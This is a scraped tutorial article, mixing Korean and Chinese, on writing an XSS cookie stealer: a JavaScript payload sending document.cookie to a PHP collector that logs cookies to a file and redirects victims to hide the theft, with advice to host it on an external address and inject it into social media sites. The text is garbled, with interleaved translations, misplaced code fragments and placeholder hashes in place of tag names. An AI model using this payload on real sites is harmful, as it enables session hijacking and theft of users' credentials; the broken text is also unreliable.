>  기사  >  웹 프론트엔드  >  비밀번호를 훔치기 위해 JS에서 XSS 쿠키 스틸러를 작성하는 방법에 대한 자세한 설명

비밀번호를 훔치기 위해 JS에서 XSS 쿠키 스틸러를 작성하는 방법에 대한 자세한 설명

小云云
小云云원래의
2017-12-18 14:36:292135검색

이 글은 주로 JS에서 XSS 쿠키 스틸러를 작성하여 비밀번호를 훔치는 세부 단계를 소개합니다. 필요한 친구들이 참고하면 도움이 될 것입니다. JavaScript는 웹에서 가장 일반적으로 사용되는 스크립트 개발 언어입니다. JS는 자동으로 사이트 구성 요소를 실행하고, 사이트 콘텐츠를 관리하고, 웹 업계에서 기타 유용한 기능을 구현할 수 있습니다. JS에는 비밀번호 및 기타 콘텐츠가 포함된 사용자 쿠키를 훔치는 등 악의적인 목적으로 사용될 수 있는 많은 기능이 있을 수 있습니다.

쿠키는 사이트가 방문한 특정 페이지에 대해 요청하고 유지하는 정보입니다. 쿠키에는 접속 방법, 시간, 사용자 이름, 비밀번호 등의 인증 정보가 포함됩니다. 사용자가 특정 사이트를 방문할 때 쿠키를 사용해야 합니다. 공격자가 쿠키를 가로챌 수 있는 경우 쿠키를 사용하여 사용자 정보 중 일부를 훔칠 수 있습니다. 특정 도메인 이름의 경우 JS를 사용하여 사용자 쿠키를 저장하거나 수정할 수 있습니다. 즉, 공격자가 JS를 사용하여 쿠키를 보고 수정할 수 있다면 이는 귀중한 해킹 기술이 될 수 있습니다.

JS 기반 공격은 코드 삽입과 같은 기술과 효과적으로 결합되어 신뢰할 수 있는 웹사이트에서 악성 코드가 실행될 수 있습니다.

XSS 쿠키 스틸러 만들기를 시작하겠습니다

1단계: HTML 테스트 페이지 만들기

먼저 표준 HTML 페이지를 만듭니다


mkdir cookiestealer
cd cookiestealer
touch index.html

다음에 index.html을 편집하세요


nano index.html
<html>
<body>
</body>
</html>

테스트 페이지

2단계: 쿠키 만들기

쿠키에 삽입할 수 있는 기본 매개변수인 문자열을 만듭니다. 이 쿠키는 이 페이지에서만 사용할 수 있습니다. 마찬가지로 후속 주입도 이 페이지에 저장된 모든 쿠키에 적용됩니다.


 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

이 스크립트는 다음과 같이 HTML의 6c04bd5ca3fcae76e30b72ad730ca86d 섹션에 삽입되어야 합니다.

스크립트를 실행하는 페이지가 열리면 쿠키가 설정되지만 아무것도 표시되지 않습니다. 브라우저에서요. document.write 함수를 사용하여 쿠키를 직접 볼 수 있습니다.


document.write(document.cookie);

동일한 기능을 가진 스크립트는 다음과 같습니다:


 <script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

브라우저에서 페이지를 열면 다음과 같은 쿠키 정보가 나타납니다.

우리가 이 페이지의 "username=Null Byte" 쿠키를 성공적으로 설정했습니다. username=Null Byte" 的cookie。

Step 3: 用js脚本窃取Cookies

我们用来传递cookies到服务器的js字符串使用了document.cookie参数,但是我们用的是document.location中定义的url。


document.location=&#39;http://127.0.0.1/cookiestealer.php?c=&#39;+document.cookie;

在本例中,PHP文件定位到localhost(127.0.0.1)。

如果目标是社交媒体网站,脚本需要注入到该站点中,窃取的cookies要发送给黑客控制的IP或URL。

把js代码吓到3f1c4e4b6b16bbbd69b2ee476dc4f83a标签中:


HTML页面代码应该是下面这样:

剩下对cookie进行处理的部分需要PHP来处理。

Step 4: 用PHP处理Cookies

在上面的例子中,窃取cookie的PHP文件是cookiestealer.php,位于127.0.0.1网址下。

在实际运行中,不能用cookiestealer.php这么明显的名字,而且应该位于外部IP或URL下。

首先,在index.html相同目录下创新PHP文件。

nano cookiestealer.php

3단계: js 스크립트를 사용하여 쿠키 훔치기


서버에 쿠키를 전달하는 데 사용하는 js 문자열은 document.cookie 매개변수를 사용하지만 document.location에 정의된 URL을 사용합니다.

<?php
header (&#39;Location:https://google.com&#39;);
?>
이 예에서 PHP 파일은 localhost(127.0.0.1)에 있습니다.

대상이 소셜 미디어 웹사이트인 경우 해당 사이트에 스크립트를 삽입하고 훔친 쿠키를 해커가 제어하는 ​​IP 또는 URL로 전송해야 합니다. js 코드를 3f1c4e4b6b16bbbd69b2ee476dc4f83a 태그에 넣으세요:

$cookies = $_GET"c";
HTML 페이지 코드는 다음과 같아야 합니다:


쿠키 처리의 나머지 부분을 처리하려면 PHP가 필요합니다.

4단계: PHP로 쿠키 처리

위의 예에서 쿠키를 훔치는 PHP 파일은 cookietealer.php이며, 127.0.0.1 URL에 있습니다.

실제 운영에서는 cookiestealer.php와 같이 눈에 띄는 이름을 사용할 수 없으며, 외부 IP나 URL 아래에 위치해야 합니다.

먼저 index.html과 같은 디렉터리에 PHP 파일을 만듭니다.

nanocookiestealer.php


정의해야 할 첫 번째 요소는 리디렉션 페이지 점프입니다.

🎜
 $file = fopen(&#39;log.txt&#39;, &#39;a&#39;);
🎜사용자가 공격을 받고 있다는 사실을 인식하지 못하도록 하려면 사용자가 이를 인식하지 못하도록 동일한 도메인 내의 다른 페이지로 사용자를 리디렉션하는 것이 가장 좋습니다. 🎜🎜🎜🎜🎜🎜🎜리디렉션이 완료된 후 쿠키를 처리하려면 추가 코드가 필요합니다. 🎜🎜🎜🎜🎜1. 쿠키를 변수에 할당합니다. 🎜🎜🎜🎜🎜
fwrite($file, $cookies . "nn");
🎜🎜2. 이 파일이 저장되는 위치는 우리가 관리해야 합니다. 🎜🎜🎜이 예에서 파일 이름은 log.txt입니다. 🎜🎜🎜🎜
<script>alert("Alert");</script>
🎜3. 위 두 매개변수의 내용을 로그 파일에 기록합니다. 즉, 쿠키를 log.txt에 기록합니다. 🎜🎜🎜🎜rrreee🎜코드는 다음과 같습니다🎜

然后,需要准备PHP文件的测试环境。

Step 5: 测试Cookie Stealer

在index.html 和 cookiestealer.php相同目录下,搭建一个测试用的PHP环境。

php -S 127.0.0.1:80

页面测试成功。

打开页面之后,浏览器会马上重定向到预定义的网站,即Google。

查看PHP服务器的日志,我们注意到传递给php文件一个参数,而且php代码执行了。

最后,我们可以检查我们网站目录下的log.txt文件来查看cookies。

cat log.txt

Log文件中含有cookie的内容,说明我们成功的使用js代码窃取了cookies。

Step 6: 攻击

Cookies含有重要的用户信息,一般是明文的,有时甚至含有私钥信息。所以非常重要,使用js代码注入可以窃取用户的cookies信息。

该攻击可以注入到任何的HTML文件的3f1c4e4b6b16bbbd69b2ee476dc4f83a标签中。常用的检测XSS的方法是使用alert。


<script>alert("Alert");</script>

该脚本会尝试打开类似下面的alert信息。如果打开了,说明网站易受到xss攻击。

在现实的攻击中,黑客会特别注意PHP文件的位置。如果处理得不好,php文件会容易暴露黑客的位置。如果这种攻击出现了,那么根据cookie被发送和保存的位置,可以追踪黑客。

上面的方法说明了JS作为攻击工具的强大性。JS可以让web更方便 ,如果某个网站易受到恶意JS注入,这会给用户和网站带来巨大的安全威胁。预防XSS攻击的重担落在了web开发者的身上。如果用户认为运行在网站上的脚本是不可信的,也可以使用NoScript来阻止js代码的运行。

相关推荐:

php利用httponly防xss攻击

推荐10款防XSS特效(收藏)

关于wxss的10篇文章推荐

위 내용은 비밀번호를 훔치기 위해 JS에서 XSS 쿠키 스틸러를 작성하는 방법에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.